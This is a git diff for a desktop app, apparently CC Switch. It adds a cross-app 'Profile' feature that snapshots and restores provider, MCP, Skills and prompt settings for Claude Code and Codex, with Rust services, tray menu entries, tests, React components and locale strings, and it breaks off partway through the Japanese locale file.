是一份按 app 的配置快照(供应商 / MCP / Skills / Prompt), +//! 应用(apply)时复用现有切换原语批量落地: +//! - 供应商:`ProviderService::switch`(内建代理接管热切换与接管下禁切官方) +//! - MCP:`McpService::toggle_app`(改标志 + 单 server 物化) +//! - Skills:`SkillService::toggle_app`(改标志 + 单 skill 物化) +//! - Prompt:`PromptService::enable_prompt`(互斥激活 + 原子写 live) +//! +//! apply 为 best-effort:单项失败收集为 warning 继续,不整体回滚。 + +use std::collections::HashSet; + +use serde::{Deserialize, Serialize}; + +use crate::app_config::AppType; +use crate::database::Profile; +use crate::error::AppError; +use crate::services::{McpService, PromptService, ProviderService, SkillService}; +use crate::store::AppState; + +/// P1 支持的应用范围(扩展新 app 时同步扩展 PerApp 字段) +pub const PROFILE_APPS: [AppType; 2] = [AppType::Claude, AppType::Codex]; + +/// 按 app 分槽的载荷容器;字段名与 AppType 的 serde 小写形式一致 +#[derive(Debug, Clone, Default, PartialEq, Serialize, Deserialize)] +#[serde(default)] +pub struct PerApp { + pub claude: T, + pub codex: T, +} + +impl PerApp { + pub fn get(&self, app: &AppType) -> Option<&T> { + match app { + AppType::Claude => Some(&self.claude), + AppType::Codex => Some(&self.codex), + _ => None, + } + } + + pub fn get_mut(&mut self, app: &AppType) -> Option<&mut T> { + match app { + AppType::Claude => Some(&mut self.claude), + AppType::Codex => Some(&mut self.codex), + _ => None, + } + } +} + +/// Profile 的 JSON 快照结构(与前端 TS 类型严格对应) +#[derive(Debug, Clone, Default, PartialEq, Serialize, Deserialize)] +#[serde(default)] +pub struct ProfilePayload { + /// 每 app 的当前供应商 id(None = 快照时无当前供应商,应用时不动) + pub providers: PerApp>, + /// 每 app 启用的 MCP server id 集合 + pub mcp: PerApp>, + /// 每 app 启用的 Skill id 集合 + pub skills: PerApp>, + /// 每 app 激活的 prompt id(None = 快照时无激活项,应用时不动) + pub prompts: PerApp>, +} + +/// 计算从当前启用状态到目标集合的最小 toggle 集 +/// +/// 返回 (需要执行的 (id, enabled) 列表, payload 中已不存在于 DB 的悬空 id 列表) +fn plan_toggles( + current: &[(String, bool)], + target_ids: &[String], +) -> (Vec<(String, bool)>, Vec) { + let existing: HashSet<&str> = current.iter().map(|(id, _)| id.as_str()).collect(); + let target: HashSet<&str> = target_ids.iter().map(|s| s.as_str()).collect(); + + let toggles = current + .iter() + .filter(|(id, enabled)| target.contains(id.as_str()) != *enabled) + .map(|(id, enabled)| (id.clone(), !enabled)) + .collect(); + + let dangling = target_ids + .iter() + .filter(|id| !existing.contains(id.as_str())) + .cloned() + .collect(); + + (toggles, dangling) +} + +pub struct ProfileService; + +impl ProfileService { + /// 抓取当前配置状态生成快照 + pub fn snapshot_current(state: &AppState) -> Result { + let mut payload = ProfilePayload::default(); + let mcp_servers = state.db.get_all_mcp_servers()?; + let skills = state.db.get_all_installed_skills()?; + + for app in PROFILE_APPS.iter() { + if let Some(slot) = payload.providers.get_mut(app) { + *slot = crate::settings::get_effective_current_provider(&state.db, app)?; + } + if let Some(slot) = payload.mcp.get_mut(app) { + *slot = mcp_servers + .values() + .filter(|s| s.apps.is_enabled_for(app)) + .map(|s| s.id.clone()) + .collect(); + } + if let Some(slot) = payload.skills.get_mut(app) { + *slot = skills + .values() + .filter(|s| s.apps.is_enabled_for(app)) + .map(|s| s.id.clone()) + .collect(); + } + if let Some(slot) = payload.prompts.get_mut(app) { + *slot = state + .db + .get_prompts(app.as_str())? + .values() + .find(|p| p.enabled) + .map(|p| p.id.clone()); + } + } + Ok(payload) + } + + /// 列出所有项目及当前激活项目 id + pub fn list(state: &AppState) -> Result<(Vec, Option), AppError> { + let profiles = state.db.get_all_profiles()?; + let current = state.db.get_current_profile_id()?; + Ok((profiles, current)) + } + + /// 以当前配置状态创建新项目 + pub fn create(state: &AppState, name: &str) -> Result { + let name = name.trim(); + if name.is_empty() { + return Err(AppError::InvalidInput("Profile name is empty".to_string())); + } + let payload = Self::snapshot_current(state)?; + let now = chrono::Utc::now().timestamp(); + let profile = Profile { + id: uuid::Uuid::new_v4().to_string(), + name: name.to_string(), + payload: serde_json::to_string(&payload) + .map_err(|e| AppError::Config(format!("序列化 profile payload 失败: {e}")))?, + sort_order: None, + created_at: Some(now), + updated_at: Some(now), + }; + state.db.save_profile(&profile)?; + Ok(profile) + } + + /// 更新项目:重命名和/或以当前状态重拍快照 + pub fn update( + state: &AppState, + id: &str, + name: Option, + resnapshot: bool, + ) -> Result { + let mut profile = state + .db + .get_profile(id)? + .ok_or_else(|| AppError::InvalidInput(format!("Profile not found: {id}")))?; + + if let Some(name) = name { + let name = name.trim().to_string(); + if name.is_empty() { + return Err(AppError::InvalidInput("Profile name is empty".to_string())); + } + profile.name = name; + } + if resnapshot { + let payload = Self::snapshot_current(state)?; + profile.payload = serde_json::to_string(&payload) + .map_err(|e| AppError::Config(format!("序列化 profile payload 失败: {e}")))?; + } + profile.updated_at = Some(chrono::Utc::now().timestamp()); + state.db.save_profile(&profile)?; + Ok(profile) + } + + /// 删除项目;若删除的是当前激活项目,一并清除激活标记 + pub fn delete(state: &AppState, id: &str) -> Result<(), AppError> { + state.db.delete_profile(id)?; + if state.db.get_current_profile_id()?.as_deref() == Some(id) { + state.db.set_current_profile_id(None)?; + } + Ok(()) + } + + /// 应用项目快照(best-effort,返回 warnings) + /// + /// 顺序不可换:供应商切换(switch_normal 内部会按 DB 当前标志跑 MCP + /// sync_all_enabled)必须先于 MCP diff,否则 profile 的 MCP 目标态会被冲掉。 + pub fn apply(state: &AppState, profile_id: &str) -> Result, AppError> { + let profile = state + .db + .get_profile(profile_id)? + .ok_or_else(|| AppError::InvalidInput(format!("Profile not found: {profile_id}")))?; + let payload: ProfilePayload = serde_json::from_str(&profile.payload) + .map_err(|e| AppError::Config(format!("解析 profile payload 失败: {e}")))?; + + let mut warnings = Vec::new(); + + for app in PROFILE_APPS.iter() { + let app_str = app.as_str(); + + // 1. 供应商 + if let Some(Some(target_pid)) = payload.providers.get(app) { + let providers = state.db.get_all_providers(app_str)?; + if !providers.contains_key(target_pid) { + warnings.push(format!( + "[{app_str}] provider '{target_pid}' no longer exists, skipped" + )); + } else { + let current = crate::settings::get_effective_current_provider(&state.db, app)?; + if current.as_deref() != Some(target_pid.as_str()) { + match ProviderService::switch(state, app.clone(), target_pid) { + Ok(result) => warnings.extend(result.warnings), + Err(e) => warnings.push(format!( + "[{app_str}] switch provider '{target_pid}' failed: {e}" + )), + } + } + } + } + + // 2. MCP diff(最小 toggle:仅动目标态≠当前态的条目) + if let Some(target_ids) = payload.mcp.get(app) { + let servers = state.db.get_all_mcp_servers()?; + let current: Vec<(String, bool)> = servers + .values() + .map(|s| (s.id.clone(), s.apps.is_enabled_for(app))) + .collect(); + let (toggles, dangling) = plan_toggles(¤t, target_ids); + for id in dangling { + warnings.push(format!("[{app_str}] MCP '{id}' no longer exists, skipped")); + } + for (id, enabled) in toggles { + if let Err(e) = McpService::toggle_app(state, &id, app.clone(), enabled) { + warnings.push(format!( + "[{app_str}] toggle MCP '{id}' -> {enabled} failed: {e}" + )); + } + } + } + + // 3. Skills diff(SkillService 返回 anyhow::Result,收进 warning) + if let Some(target_ids) = payload.skills.get(app) { + let skills = state.db.get_all_installed_skills()?; + let current: Vec<(String, bool)> = skills + .values() + .map(|s| (s.id.clone(), s.apps.is_enabled_for(app))) + .collect(); + let (toggles, dangling) = plan_toggles(¤t, target_ids); + for id in dangling { + warnings.push(format!( + "[{app_str}] skill '{id}' no longer exists, skipped" + )); + } + for (id, enabled) in toggles { + if let Err(e) = SkillService::toggle_app(&state.db, &id, app, enabled) { + warnings.push(format!( + "[{app_str}] toggle skill '{id}' -> {enabled} failed: {e}" + )); + } + } + } + + // 4. Prompt(None = 不动;已激活则幂等跳过,避免无谓的文件写与备份) + if let Some(Some(target_prompt)) = payload.prompts.get(app) { + let prompts = state.db.get_prompts(app_str)?; + match prompts.get(target_prompt) { + None => warnings.push(format!( + "[{app_str}] prompt '{target_prompt}' no longer exists, skipped" + )), + Some(p) if p.enabled => {} + Some(_) => { + if let Err(e) = + PromptService::enable_prompt(state, app.clone(), target_prompt) + { + warnings.push(format!( + "[{app_str}] enable prompt '{target_prompt}' failed: {e}" + )); + } + } + } + } + } + + state.db.set_current_profile_id(Some(profile_id))?; + Ok(warnings) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn ids(v: &[&str]) -> Vec { + v.iter().map(|s| s.to_string()).collect() + } + + #[test] + fn test_payload_serde_roundtrip() { + let payload = ProfilePayload { + providers: PerApp { + claude: Some("p1".into()), + codex: None, + }, + mcp: PerApp { + claude: ids(&["m1", "m2"]), + codex: vec![], + }, + skills: PerApp { + claude: vec![], + codex: ids(&["s1"]), + }, + prompts: PerApp { + claude: None, + codex: Some("pr1".into()), + }, + }; + let json = serde_json::to_string(&payload).unwrap(); + // per-app key 必须是 AppType serde 的小写形式 + assert!(json.contains("\"claude\"")); + assert!(json.contains("\"codex\"")); + let back: ProfilePayload = serde_json::from_str(&json).unwrap(); + assert_eq!(back, payload); + } + + #[test] + fn test_payload_tolerates_missing_fields() { + // 前向兼容:旧版/部分字段缺失时应落到默认值而不是报错 + let back: ProfilePayload = + serde_json::from_str(r#"{"providers":{"claude":"p1"}}"#).unwrap(); + assert_eq!(back.providers.claude, Some("p1".to_string())); + assert_eq!(back.providers.codex, None); + assert!(back.mcp.claude.is_empty()); + assert_eq!(back.prompts.codex, None); + + let empty: ProfilePayload = serde_json::from_str("{}").unwrap(); + assert_eq!(empty, ProfilePayload::default()); + } + + #[test] + fn test_per_app_get_only_supports_profile_apps() { + let per: PerApp> = PerApp::default(); + assert!(per.get(&AppType::Claude).is_some()); + assert!(per.get(&AppType::Codex).is_some()); + assert!(per.get(&AppType::Gemini).is_none()); + assert!(per.get(&AppType::ClaudeDesktop).is_none()); + } + + #[test] + fn test_plan_toggles_minimal_diff() { + let current = vec![ + ("a".to_string(), true), // 目标含 a:不动 + ("b".to_string(), false), // 目标含 b:开 + ("c".to_string(), true), // 目标不含 c:关 + ("d".to_string(), false), // 目标不含 d:不动 + ]; + let (toggles, dangling) = plan_toggles(¤t, &ids(&["a", "b", "ghost"])); + assert_eq!( + toggles, + vec![("b".to_string(), true), ("c".to_string(), false)] + ); + assert_eq!(dangling, ids(&["ghost"])); + } + + #[test] + fn test_plan_toggles_empty_target_disables_all_enabled() { + let current = vec![("a".to_string(), true), ("b".to_string(), false)]; + let (toggles, dangling) = plan_toggles(¤t, &[]); + assert_eq!(toggles, vec![("a".to_string(), false)]); + assert!(dangling.is_empty()); + } +} diff --git a/src-tauri/src/tray.rs b/src-tauri/src/tray.rs index 0b159ae67..ace88c5af 100644 --- a/src-tauri/src/tray.rs +++ b/src-tauri/src/tray.rs @@ -54,6 +54,8 @@ pub struct TrayTexts { pub lightweight_mode: &'static str, pub quit: &'static str, pub _auto_label: &'static str, + pub projects_label: &'static str, + pub no_project_label: &'static str, } impl TrayTexts { @@ -66,6 +68,8 @@ impl TrayTexts { lightweight_mode: "Lightweight Mode", quit: "Quit", _auto_label: "Auto (Failover)", + projects_label: "Projects", + no_project_label: "No project", }, "ja" => Self { show_main: "メインウィンドウを開く", @@ -74,6 +78,8 @@ impl TrayTexts { lightweight_mode: "軽量モード", quit: "終了", _auto_label: "自動 (フェイルオーバー)", + projects_label: "プロジェクト", + no_project_label: "プロジェクトを使用しない", }, "zh-TW" => Self { show_main: "開啟主介面", @@ -82,6 +88,8 @@ impl TrayTexts { lightweight_mode: "輕量模式", quit: "退出", _auto_label: "自動 (故障轉移)", + projects_label: "專案", + no_project_label: "不使用專案", }, _ => Self { show_main: "打开主界面", @@ -90,6 +98,8 @@ impl TrayTexts { lightweight_mode: "轻量模式", quit: "退出", _auto_label: "自动 (故障转移)", + projects_label: "项目", + no_project_label: "不使用项目", }, } } @@ -326,6 +336,55 @@ fn sort_providers( sorted } +/// 处理项目 Profile 托盘事件,返回是否已处理 +/// +/// 事件 id 形如 `profile_`;`profile_none` 表示"不使用项目"(只清标记,不动配置)。 +pub fn handle_profile_tray_event(app: &tauri::AppHandle, event_id: &str) -> bool { + let Some(suffix) = event_id.strip_prefix("profile_") else { + return false; + }; + + if suffix == "none" { + if let Some(app_state) = app.try_state::() { + if let Err(e) = app_state.db.set_current_profile_id(None) { + log::error!("清除当前项目失败: {e}"); + } + } + // 通知主窗口刷新(profileId=null 表示已清除当前项目) + if let Err(e) = app.emit("profile-applied", serde_json::json!({ "profileId": null })) { + log::error!("发射 profile-applied 事件失败: {e}"); + } + refresh_tray_menu(app); + return true; + } + + log::info!("应用项目: {suffix}"); + let app_handle = app.clone(); + let profile_id = suffix.to_string(); + tauri::async_runtime::spawn_blocking(move || { + let Some(app_state) = app_handle.try_state::() else { + return; + }; + match crate::services::profile::ProfileService::apply(app_state.inner(), &profile_id) { + Ok(warnings) => { + for warning in &warnings { + log::warn!("[Profile] 应用项目 {profile_id} 警告: {warning}"); + } + crate::commands::emit_profile_apply_events( + &app_handle, + app_state.inner(), + &profile_id, + ); + } + Err(e) => { + log::error!("应用项目 {profile_id} 失败: {e}"); + refresh_tray_menu(&app_handle); + } + } + }); + true +} + /// 处理供应商托盘事件 pub fn handle_provider_tray_event(app: &tauri::AppHandle, event_id: &str) -> bool { for section in TRAY_SECTIONS.iter() { @@ -605,6 +664,43 @@ pub fn create_tray_menu( menu_builder = menu_builder.separator(); } + // 项目 Profile 子菜单(Claude/Codex 至少一个可见且存在项目时才显示) + if visible_apps.is_visible(&AppType::Claude) || visible_apps.is_visible(&AppType::Codex) { + let profiles = app_state.db.get_all_profiles()?; + if !profiles.is_empty() { + let current_profile_id = app_state.db.get_current_profile_id()?.unwrap_or_default(); + let mut profiles_builder = + SubmenuBuilder::with_id(app, "submenu_profiles", tray_texts.projects_label); + for profile in &profiles { + let item = CheckMenuItem::with_id( + app, + format!("profile_{}", profile.id), + &profile.name, + true, + current_profile_id == profile.id, + None::<&str>, + ) + .map_err(|e| AppError::Message(format!("创建项目菜单项失败: {e}")))?; + profiles_builder = profiles_builder.item(&item); + } + let none_item = CheckMenuItem::with_id( + app, + "profile_none", + tray_texts.no_project_label, + true, + current_profile_id.is_empty(), + None::<&str>, + ) + .map_err(|e| AppError::Message(format!("创建不使用项目菜单项失败: {e}")))?; + let profiles_submenu = profiles_builder + .separator() + .item(&none_item) + .build() + .map_err(|e| AppError::Message(format!("构建项目子菜单失败: {e}")))?; + menu_builder = menu_builder.item(&profiles_submenu).separator(); + } + } + let lightweight_item = CheckMenuItem::with_id( app, "lightweight_mode", @@ -750,6 +846,9 @@ pub fn handle_tray_menu_event(app: &tauri::AppHandle, event_id: &str) { app.exit(0); } _ => { + if handle_profile_tray_event(app, event_id) { + return; + } if handle_provider_tray_event(app, event_id) { return; } diff --git a/src-tauri/tests/profile_roundtrip.rs b/src-tauri/tests/profile_roundtrip.rs new file mode 100644 index 000000000..6a420f791 --- /dev/null +++ b/src-tauri/tests/profile_roundtrip.rs @@ -0,0 +1,287 @@ +//! 项目 Profile 快照/应用的端到端集成测试 +//! +//! 全链路 apply 会写 live 配置文件——support.rs 已把 HOME 指向临时目录,安全。 + +use std::fs; + +use serde_json::json; + +use cc_switch_lib::{ + AppType, InstalledSkill, McpServer, McpService, ProfilePayload, ProfileService, Prompt, + PromptService, Provider, ProviderService, SkillApps, SkillService, +}; + +#[path = "support.rs"] +mod support; +use support::{create_test_state, ensure_test_home, reset_test_fs, test_mutex}; + +fn claude_provider(id: &str, token: &str) -> Provider { + Provider::with_id( + id.to_string(), + id.to_uppercase(), + json!({ + "env": { + "ANTHROPIC_AUTH_TOKEN": token, + "ANTHROPIC_BASE_URL": "https://api.test" + } + }), + None, + ) +} + +fn mcp_server(id: &str, claude_enabled: bool) -> McpServer { + serde_json::from_value(json!({ + "id": id, + "name": id, + "server": { "command": "echo", "args": [] }, + "apps": { "claude": claude_enabled } + })) + .expect("construct mcp server") +} + +fn prompt(id: &str, enabled: bool) -> Prompt { + Prompt { + id: id.to_string(), + name: id.to_uppercase(), + content: format!("# prompt {id}\n"), + description: None, + enabled, + created_at: Some(1_000), + updated_at: Some(1_000), + } +} + +fn installed_skill(id: &str, directory: &str, claude_enabled: bool) -> InstalledSkill { + InstalledSkill { + id: id.to_string(), + name: id.to_string(), + description: None, + directory: directory.to_string(), + repo_owner: None, + repo_name: None, + repo_branch: None, + readme_url: None, + apps: SkillApps { + claude: claude_enabled, + ..Default::default() + }, + installed_at: 1_000, + content_hash: None, + updated_at: 0, + } +} + +fn write_ssot_skill(directory: &str) { + let dir = SkillService::get_ssot_dir() + .expect("resolve skills SSOT dir") + .join(directory); + fs::create_dir_all(&dir).expect("create skill dir"); + fs::write( + dir.join("SKILL.md"), + format!("---\nname: {directory}\ndescription: Test skill\n---\n"), + ) + .expect("write SKILL.md"); +} + +#[test] +fn profile_snapshot_apply_roundtrip_restores_configuration() { + let _guard = test_mutex().lock().expect("acquire test mutex"); + reset_test_fs(); + let home = ensure_test_home(); + + let state = create_test_state().expect("create test state"); + + // ---- 种子数据:2 个 Claude 供应商(p1 为当前)+ 2 个 MCP + 1 个 Skill + 2 个 Prompt ---- + state + .db + .save_provider(AppType::Claude.as_str(), &claude_provider("p1", "key-1")) + .expect("save provider p1"); + state + .db + .save_provider(AppType::Claude.as_str(), &claude_provider("p2", "key-2")) + .expect("save provider p2"); + state + .db + .set_current_provider(AppType::Claude.as_str(), "p1") + .expect("set current provider p1"); + + // 让 live settings.json 与 p1 一致(switch_normal 回填需要) + let claude_dir = home.join(".claude"); + fs::create_dir_all(&claude_dir).expect("create .claude dir"); + fs::write( + claude_dir.join("settings.json"), + serde_json::to_string_pretty(&claude_provider("p1", "key-1").settings_config) + .expect("serialize p1 settings"), + ) + .expect("seed live settings.json"); + + state + .db + .save_mcp_server(&mcp_server("m1", true)) + .expect("save mcp m1"); + state + .db + .save_mcp_server(&mcp_server("m2", false)) + .expect("save mcp m2"); + + write_ssot_skill("test-skill"); + state + .db + .save_skill(&installed_skill("local:test-skill", "test-skill", true)) + .expect("save skill"); + + state + .db + .save_prompt(AppType::Claude.as_str(), &prompt("pr1", true)) + .expect("save prompt pr1"); + state + .db + .save_prompt(AppType::Claude.as_str(), &prompt("pr2", false)) + .expect("save prompt pr2"); + + // ---- 保存项目 A(快照当前状态)---- + let profile_a = ProfileService::create(&state, "Project A").expect("create profile A"); + let payload: ProfilePayload = + serde_json::from_str(&profile_a.payload).expect("parse profile A payload"); + assert_eq!(payload.providers.claude.as_deref(), Some("p1")); + assert_eq!(payload.mcp.claude, vec!["m1".to_string()]); + assert_eq!(payload.skills.claude, vec!["local:test-skill".to_string()]); + assert_eq!(payload.prompts.claude.as_deref(), Some("pr1")); + assert_eq!( + payload.providers.codex, None, + "codex has no current provider" + ); + assert!(payload.mcp.codex.is_empty()); + + // ---- 改动全部四类配置(走真实切换路径)---- + ProviderService::switch(&state, AppType::Claude, "p2").expect("switch to p2"); + McpService::toggle_app(&state, "m1", AppType::Claude, false).expect("disable m1"); + McpService::toggle_app(&state, "m2", AppType::Claude, true).expect("enable m2"); + SkillService::toggle_app(&state.db, "local:test-skill", &AppType::Claude, false) + .expect("disable skill"); + PromptService::enable_prompt(&state, AppType::Claude, "pr2").expect("enable pr2"); + + // ---- 应用项目 A:全部复原 ---- + let warnings = ProfileService::apply(&state, &profile_a.id).expect("apply profile A"); + assert!(warnings.is_empty(), "unexpected warnings: {warnings:?}"); + + let current = state + .db + .get_current_provider(AppType::Claude.as_str()) + .expect("get current provider"); + assert_eq!(current.as_deref(), Some("p1"), "provider restored to p1"); + + let servers = state.db.get_all_mcp_servers().expect("get mcp servers"); + assert!(servers.get("m1").expect("m1").apps.claude, "m1 re-enabled"); + assert!(!servers.get("m2").expect("m2").apps.claude, "m2 disabled"); + + let skills = state.db.get_all_installed_skills().expect("get skills"); + assert!( + skills.get("local:test-skill").expect("skill").apps.claude, + "skill re-enabled" + ); + + let prompts = state + .db + .get_prompts(AppType::Claude.as_str()) + .expect("get prompts"); + assert!(prompts.get("pr1").expect("pr1").enabled, "pr1 re-enabled"); + assert!(!prompts.get("pr2").expect("pr2").enabled, "pr2 disabled"); + + let live_prompt = fs::read_to_string(claude_dir.join("CLAUDE.md")).expect("read CLAUDE.md"); + assert_eq!( + live_prompt, + prompt("pr1", true).content, + "live memory file restored" + ); + + assert_eq!( + state + .db + .get_current_profile_id() + .expect("get current profile id") + .as_deref(), + Some(profile_a.id.as_str()), + "profile A marked as current" + ); +} + +#[test] +fn profile_apply_reports_dangling_references_and_continues() { + let _guard = test_mutex().lock().expect("acquire test mutex"); + reset_test_fs(); + let _home = ensure_test_home(); + + let state = create_test_state().expect("create test state"); + + state + .db + .save_mcp_server(&mcp_server("m1", false)) + .expect("save mcp m1"); + + // 手工构造引用了不存在资源的 payload + let payload = json!({ + "providers": { "claude": "ghost-provider" }, + "mcp": { "claude": ["m1", "ghost-mcp"] }, + "skills": { "claude": ["ghost-skill"] }, + "prompts": { "claude": "ghost-prompt" } + }); + let profile = cc_switch_lib::Profile { + id: "dangling-test".to_string(), + name: "Dangling".to_string(), + payload: payload.to_string(), + sort_order: None, + created_at: Some(1_000), + updated_at: Some(1_000), + }; + state.db.save_profile(&profile).expect("save profile"); + + let warnings = ProfileService::apply(&state, "dangling-test").expect("apply succeeds"); + assert_eq!( + warnings.len(), + 4, + "each dangling reference yields one warning: {warnings:?}" + ); + + // 有效条目照常生效:m1 被启用 + let servers = state.db.get_all_mcp_servers().expect("get mcp servers"); + assert!( + servers.get("m1").expect("m1").apps.claude, + "m1 enabled despite warnings" + ); + + // best-effort 完成后仍标记为当前项目 + assert_eq!( + state + .db + .get_current_profile_id() + .expect("get current profile id") + .as_deref(), + Some("dangling-test") + ); +} + +#[test] +fn clear_current_profile_only_clears_marker() { + let _guard = test_mutex().lock().expect("acquire test mutex"); + reset_test_fs(); + let _home = ensure_test_home(); + + let state = create_test_state().expect("create test state"); + + state + .db + .set_current_profile_id(Some("some-profile")) + .expect("set current profile"); + state + .db + .set_current_profile_id(None) + .expect("clear current profile"); + assert_eq!( + state + .db + .get_current_profile_id() + .expect("get current profile id"), + None + ); +} diff --git a/src/App.tsx b/src/App.tsx index 0eaef98ad..48e95422e 100644 --- a/src/App.tsx +++ b/src/App.tsx @@ -58,6 +58,7 @@ import { DRAG_REGION_STYLE, } from "@/lib/platform"; import { AppSwitcher } from "@/components/AppSwitcher"; +import { ProfileSwitcher } from "@/components/profiles/ProfileSwitcher"; import { ProviderList } from "@/components/providers/ProviderList"; import { AddProviderDialog } from "@/components/providers/AddProviderDialog"; import { EditProviderDialog } from "@/components/providers/EditProviderDialog"; @@ -381,6 +382,13 @@ function App() { } }); + // 托盘应用项目后刷新相关缓存(providers 由既有 provider-switched 监听承接) + useTauriEvent("profile-applied", async () => { + await queryClient.invalidateQueries({ queryKey: ["profiles"] }); + await queryClient.invalidateQueries({ queryKey: ["mcp", "all"] }); + await queryClient.invalidateQueries({ queryKey: ["skills"] }); + }); + useTauriEvent( "webdav-sync-status-updated", async (payload) => { @@ -1189,6 +1197,7 @@ function App() { CC Switch + + + + ) : ( + <> + + {profile.name} + + + + + + )} + + ))} + + + + + {confirm && ( + setConfirm(null)} + /> + )} + + ); +} diff --git a/src/components/profiles/ProfileSwitcher.tsx b/src/components/profiles/ProfileSwitcher.tsx new file mode 100644 index 000000000..3a4b4d831 --- /dev/null +++ b/src/components/profiles/ProfileSwitcher.tsx @@ -0,0 +1,236 @@ +import { useState } from "react"; +import { useTranslation } from "react-i18next"; +import { + Check, + ChevronsUpDown, + FolderCog, + FolderOpen, + Plus, + X, +} from "lucide-react"; +import { + Popover, + PopoverContent, + PopoverTrigger, +} from "@/components/ui/popover"; +import { + Command, + CommandEmpty, + CommandGroup, + CommandInput, + CommandItem, + CommandList, +} from "@/components/ui/command"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogFooter, + DialogHeader, + DialogTitle, +} from "@/components/ui/dialog"; +import { Button } from "@/components/ui/button"; +import { Input } from "@/components/ui/input"; +import { cn } from "@/lib/utils"; +import type { VisibleApps } from "@/types"; +import { + useApplyProfileMutation, + useClearProfileMutation, + useCreateProfileMutation, + useProfilesQuery, +} from "@/lib/query/profiles"; +import { ProfileManageDialog } from "./ProfileManageDialog"; + +interface ProfileSwitcherProps { + visibleApps: VisibleApps; +} + +/** + * 项目 Profile 切换器(header 左侧全局入口) + * + * Profile 是跨应用的配置快照(Claude Code + Codex 的供应商/MCP/Skills/记忆文件), + * 与右侧 AppSwitcher(仅切换查看的应用)语义不同。 + */ +export function ProfileSwitcher({ visibleApps }: ProfileSwitcherProps) { + const { t } = useTranslation(); + const [open, setOpen] = useState(false); + const [isCreateOpen, setIsCreateOpen] = useState(false); + const [isManageOpen, setIsManageOpen] = useState(false); + const [newName, setNewName] = useState(""); + + const { data } = useProfilesQuery(); + const applyMutation = useApplyProfileMutation(); + const clearMutation = useClearProfileMutation(); + const createMutation = useCreateProfileMutation(); + + // Profile 仅支持 Claude Code + Codex,两者都被隐藏时该功能无意义 + if (!visibleApps.claude && !visibleApps.codex) { + return null; + } + + const profiles = data?.profiles ?? []; + const currentId = data?.currentId ?? null; + const currentProfile = profiles.find((p) => p.id === currentId); + + const handleApply = (id: string) => { + setOpen(false); + if (id !== currentId) { + applyMutation.mutate(id); + } + }; + + const closeCreateDialog = () => { + setIsCreateOpen(false); + setNewName(""); + }; + + const handleCreate = () => { + const name = newName.trim(); + if (!name) return; + createMutation.mutate(name, { onSuccess: closeCreateDialog }); + }; + + return ( + <> + + + + + + + + + {t("profiles.empty")} + {profiles.length > 0 && ( + + {profiles.map((profile) => ( + handleApply(profile.id)} + > + + {profile.name} + + ))} + + )} +
+ + { + setOpen(false); + setIsCreateOpen(true); + }} + > + + {t("profiles.createFromCurrent")} + + {currentId && ( + { + setOpen(false); + clearMutation.mutate(); + }} + > + + {t("profiles.none")} + + )} + {profiles.length > 0 && ( + { + setOpen(false); + setIsManageOpen(true); + }} + > + + {t("profiles.manage")} + + )} + + + + + + + { + if (!open) closeCreateDialog(); + }} + > + + + {t("profiles.createFromCurrent")} + + {t("profiles.createDescription")} + + +
+ setNewName(e.target.value)} + placeholder={t("profiles.namePlaceholder")} + autoFocus + onKeyDown={(e) => { + if (e.key === "Enter") handleCreate(); + }} + /> +
+ + + + +
+
+ + setIsManageOpen(false)} + /> + + ); +} diff --git a/src/components/prompts/PromptPanel.tsx b/src/components/prompts/PromptPanel.tsx index 77e4edb03..7f28d3490 100644 --- a/src/components/prompts/PromptPanel.tsx +++ b/src/components/prompts/PromptPanel.tsx @@ -3,6 +3,7 @@ import { useTranslation } from "react-i18next"; import { FileText } from "lucide-react"; import { type AppId } from "@/lib/api"; import { usePromptActions } from "@/hooks/usePromptActions"; +import { useTauriEvent } from "@/hooks/useTauriEvent"; import PromptListItem from "./PromptListItem"; import PromptFormPanel from "./PromptFormPanel"; import { ConfirmDialog } from "../ConfirmDialog"; @@ -59,6 +60,9 @@ const PromptPanel = React.forwardRef( }; }, [appId, reload]); + // 应用项目 Profile 会切换激活的 prompt(prompts 非 react-query,需主动 reload) + useTauriEvent("profile-applied", reload); + const handleAdd = () => { setEditingId(null); setIsFormOpen(true); diff --git a/src/i18n/locales/en.json b/src/i18n/locales/en.json index a020f5e1b..cd8c28fb7 100644 --- a/src/i18n/locales/en.json +++ b/src/i18n/locales/en.json @@ -1866,6 +1866,34 @@ "deleteMessage": "Are you sure you want to delete prompt \"{{name}}\"?" } }, + "profiles": { + "switcherTooltip": "Projects: switch providers / MCP / Skills / memory files for Claude Code and Codex in one click", + "none": "No project", + "searchPlaceholder": "Search projects", + "empty": "No projects yet", + "createFromCurrent": "New project", + "createDescription": "Save the current provider, MCP, Skills and memory file configuration as a project you can switch to later.", + "manage": "Manage projects…", + "manageTitle": "Manage Projects", + "manageDescription": "Projects are configuration snapshots. To change a project, adjust your configuration first, then click \"Update from current\".", + "namePlaceholder": "e.g. Development, Drawing", + "rename": "Rename", + "updateSnapshot": "Update from current", + "updateSnapshotConfirm": "Overwrite the snapshot of project \"{{name}}\" with the current configuration?", + "delete": "Delete", + "deleteConfirmTitle": "Confirm Delete", + "deleteConfirmMessage": "Are you sure you want to delete project \"{{name}}\"? Your current configuration will not be changed.", + "createSuccess": "Project created", + "createFailed": "Failed to create project: {{detail}}", + "updateSuccess": "Project updated", + "updateFailed": "Failed to update project: {{detail}}", + "deleteSuccess": "Project deleted", + "deleteFailed": "Failed to delete project: {{detail}}", + "applySuccess": "Project applied", + "applyFailed": "Failed to apply project: {{detail}}", + "applyWarnings": "Project applied with {{warningCount}} warning(s):\n{{details}}", + "clearSuccess": "Switched to no project" + }, "workspace": { "title": "Workspace Files", "manage": "Workspace", diff --git a/src/i18n/locales/ja.json b/src/i18n/locales/ja.json index f3d0f6a1d..449788aa7 100644 --- a/src/i18n/locales/ja.json +++ b/src/i18n/locales/ja.json @@ -1866,6 +1866,34 @@ "deleteMessage": "プロンプト「{{name}}」を削除してもよろしいですか?" } }, + "profiles": { + "switcherTooltip": "プロジェクト:Claude Code と Codex のプロバイダー / MCP / Skills / メモリファイルをワンクリックで切り替え", + "none": "プロジェクトを使用しない", + "searchPlaceholder": "プロジェクトを検索", + "empty": "プロジェクトはまだありません", + "createFromCurrent": "新規プロジェクト", + "createDescription": "現在のプロバイダー、MCP、Skills、メモリファイルの設定をプロジェクトとして保存し、後からワンクリックで切り替えられます。", + "manage": "プロジェクトを管理…", + "manageTitle": "プロジェクト管理", + "manageDescription": "プロジェクトは設定のスナップショットです。内容を変更するには、先に設定を調整してから「現在の状態で更新」をクリックしてください。", + "namePlaceholder": "例:開発、イラスト", + "rename": "名前を変更", + 